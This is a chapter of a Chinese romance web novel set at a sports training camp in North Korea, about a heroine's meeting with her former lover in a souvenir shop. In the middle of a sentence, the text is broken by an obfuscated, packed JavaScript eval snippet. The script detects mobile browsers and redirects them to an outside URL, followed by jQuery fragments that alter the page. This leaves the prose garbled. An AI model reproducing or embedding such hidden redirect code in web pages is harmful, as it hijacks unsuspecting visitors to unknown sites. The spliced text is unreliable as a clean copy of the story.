集训过半，教练难得给大家放假半天，队员们商量着到酒店旁边的商业街购买一些能带回国的手办和纪念品。


    步萌拉着江逢棠兴致勃勃地走进一家店，店里什么也有，从零食到衣服，甚至是朝鲜的书籍都有。


    “棠姐，我们买点小巧的挂件带回去吧，重量轻，不占地方，回去也方便分给朋友们，没有人会不喜欢可爱的小挂件的。”


    步萌说着，就拽着江逢棠的胳膊，来到挂满各式小玩偶的挂件区域，一整面墙，玲琅满目，什么样的也有。


    “哇，这里竟然还有英国品牌的挂件？”步萌拿起一个毛茸茸的紫色茄子造型的挂件，有些惊讶，“朝鲜的商业街也如此时髦吗？”


    这里进口的东西只是少，并不是没有，主要是展示或者卖给外来游客，当然也有一部分朝鲜人是有足够的钱购买的。


    店老板闻声笑哈哈走过来：“小姐好眼光，这些可都是正品，我上周刚从国外进口来的，花了大价钱，您看上哪个了？”


    步萌连连摆手：“不了不了，老板，我们是来买点朝鲜特有的东西带回去的，不要这些进口的。”


    “哦哦，明白了，”老板立刻热情地指向另一侧，“那您看那边，都是上好的松茸干货和高丽参，是我们朝鲜本地的特产，品质特别好，送人自用都合适。”


    “好，我去看看。”步萌应声，跟着老板到旁边去挑选特产了。


    江逢棠没有跟过去，像是没有听到两人的谈话，目光注视着墙上的一个雪花形状的毛绒挂件，白色绒毛，蓝色点缀，很是熟悉。


    是八年前的老款式了，她记得很清楚，那年圣诞节发售的限量款，她守了一晚上官网才抢到，这款早就停产了，没想到在这里还能见到。


    她伸出手，将它取了下来，指尖触碰到的绒毛质感很粗糙，缝线也是歪着的，和她记忆里的触感不一样，这个是仿品，做工劣质的仿品。


    她把挂件重新放回去，脸上看起来有些失落，如果跟她送给宋秉宪的那个一样，就好了。


    为什么想着送他一个雪花当圣诞礼物，是因为在她眼里，他就像是雪花一样，极致的美好，却总是摆出一副拒人千里之外的样子，冷冰冰的。


    她就不该送他那个礼物，明知道在他眼里，这样的东西是极为幼稚的，他才不会珍惜，果不其然，在他离开的那天，他也没带走。


    带走地上脏兮兮的雪花毛绒挂件的是来打扫休息室的保洁阿姨，她亲眼看见了，她想去要回来的，内心挣扎了许久，还是眼睁睁看着保洁阿姨把那东西丢进垃圾桶里，推着垃圾车离开。


    东西能捡回来，人的心能吗，她去索要，只是在第二次羞辱自己，昭示她是个小丑。


    步萌怀里抱着一大堆包装好的松茸和高丽参礼盒，兴冲冲地回来，小小的圆脸上好大的眼睛，一眨一眨看着江逢棠。


    “棠姐，你挑好要买什么了吗？”


    江逢棠摇摇头：“还没想好，我们再去逛逛别的店吧，我帮你拿。”


    两人双手拎着东西，转身朝着店外走去，刚走到门口，玻璃门就被人从外面推开了，高大的身影走进来，挡住大半的光。


    男人穿着黑色长款大衣，肩宽腰窄，身形是尤其的挺拔，大衣敞开，露出里面同色系的西装马甲和挺括的月白色衬衣，领带系得规整。


    他仅仅是站在那里，就好像是被打了聚光灯，整个店里，就属他最惹人瞩目，强大的气场由内而外，似乎生来就有高位者的矜贵从容。


    “宋指导员好，您今天也休息啊？”步萌连忙停下脚步，乖巧地跟他打招呼。


    江逢棠站在步萌身侧，目光微垂，看着地面，没有说话。


    宋秉宪的目光是越过步萌的，直直地落在江逢棠低垂的侧脸上，他看着她，回答的却是步萌的问题：“嗯，休息半天。”


    步萌哦了一声，点头说：“原来是整个训练基地都放假，我就说嘛，罗教练怎么会突然这么好心专门给我们放假，您不知道，过年的时候他恨不得我们都不休息，就给我们放半天假吃个年夜饭，第二天一大早，大年初一天还没亮就让我们集合点名训练。”


    她随口抱怨，这样的生活，江逢棠过了八年，已经麻木了，宋秉宪刚离开没几天，罗教练就调来国家队了。


    江逢棠都不知道那段时间她是怎么度过的，失恋和高强度训练同时折磨着她，一个是精神，一个是□□，她那时就在想，如果日后原谅宋秉宪，就是背叛了自己。


    宋秉宪的视线一直绕在江逢棠身上，就没偏离过，淡淡道：“那段时间，辛苦了。”


    江逢棠仰起头，不知是什么缘故，他觉得他这话还有别的意思，四目对视，她竟从他的眼里看出了无比痛苦的歉意。


    “你有什么要买的，想带回去的，不用自己装行李箱，我派人直接送去北京。”


    这句话是他看着她的眼睛说的，她如果再不吭声，反而会让身边的步萌以为她和宋指导员有什么深仇大恨。


    “没有，还没想好。”


    她想从朝鲜带回去的从来都不是东西，而是人，人也可以直接回北京吗。


    一旁的步萌立刻举起手，眼睛亮晶晶，“指导员，我我，我有要带回去的东西，会不会太麻烦你了，但是这些东西我的行李箱放不下。”


    宋秉宪看向她，点了点头：“不麻烦，我让崔秘书忙完联系你，你交给他就行。”


    “谢谢指导员。”步萌高兴地跟他告辞，和江逢棠一起离开店门。


    一出来，步萌就忍不住跟江逢棠说：“棠姐，我发现宋指导员人真的很好，平易近人，上次在度假村也是他帮了咱们。”


    “你不怪他制定禁爱令？”江逢棠问。


    “禁爱令也没有说处罚措施呀，只是颁布出来吓唬人的而已，我和尹俊纶都没在意，倒是棠姐你和高队，似乎因为禁爱令见面的时间很少了。”


    “教练说，我们身为队长要做表


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280431|196086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    率，尽量不要有让人误会的行为举止。”


    “原来是这样啊。”


    江逢棠犹豫了一下，说：“你觉得他平易近人？”


    这一点她就没有感觉出来，她觉得他跟从前一样，喜怒不形于色，或者说，这已经是她对他的刻板印象了。


    步萌点点头，她自言自语说：“他以前不是这样的。”


    “宋指导员以前是什么样？”步萌也能感觉出来，棠姐以前绝对认识宋指导员，至于两人是什么关系，她不敢猜。


    还没等江逢棠想好如何措辞，陈媛从一旁走过来，双手抱在身前，手里拿着一杯咖啡，悠哉闲适。


    “年纪大了嘛，就会变得平易近人啦，这叫慈祥。”


    运动员都离开后，店里没什么人，宋秉宪脚步停在挂件墙前，正好是江逢棠方才站定的位置，他目光注视着墙上雪花造型的仿品毛绒挂件。


    深邃的眼眸似乎能将一团绒毛看穿，久久未动，仿佛是透过一个静物在想什么灵动美好的东西。


    店老板又满脸堆笑地凑过来介绍：“先生，您眼光真好，是想买这个雪花挂件吗，这款很多人喜欢的，就是价格有点高，不过您看这造型多别致啊，就算不挂在包上，放在家里当摆件也好看，而且过几天就要下初雪了，买回去很应景的。”


    宋秉宪放在腿边的手，手指微微蜷缩一下，只是听到初雪这两个字的下意识反应，他脑海里关于初雪的回忆太多了。


    “不用了，家里已经有一个了。”他抬手指向另一侧陈列着模型玩具的货架，“给我拿一个你们这最新的水枪玩具。”


    店老板连忙应声：“好的好的，您稍等。”


    他走到货架前，取下一个包装精美的盒装玩具手枪，双手递过去：“先生，您看这款怎么样，最新到的货，实打实的进口货，欧洲来的。”


    宋秉宪接过沉甸甸的盒子，目光扫了一眼，这个倒是正品，“就这个吧。”


    他单手拿着玩具，另一只手从黑色大衣的内侧口袋里掏出皮质钱夹，从里面抽出几张面额最大的钞票，递给店老板。


    “不用找了。”他语气平淡，转身走出去，手里拿着的玩具跟他冷峻的气质格格不入。


    店老板捏着几张钞票，望着男人挺拔的背影消失在店外，又回头看看墙上的雪花挂件，疑惑地挠了挠后脑勺，自言自语感叹。


    “真是奇了怪了，今天怎么净来些怪人盯着一个旧款挂件看，这一男一女之前还有个中国男人，也站着看了老半天，最后也没买，嘴里还说什么不属于自己的。”


    他当时还跟那个中国男人说，把这个雪花毛绒玩具买下来就是他的了，那人说，强扭的瓜不甜，如果她在他身边感受不到幸福，他做什么都是徒劳的。


    一个玩具而已，怎么还跟幸不幸福扯上关系了，朝鲜是全世界最幸福的地方，领导都说过这话，保真的，在这里，该幸福的人肯定会幸福，不该幸福的人也会收获自己的幸福。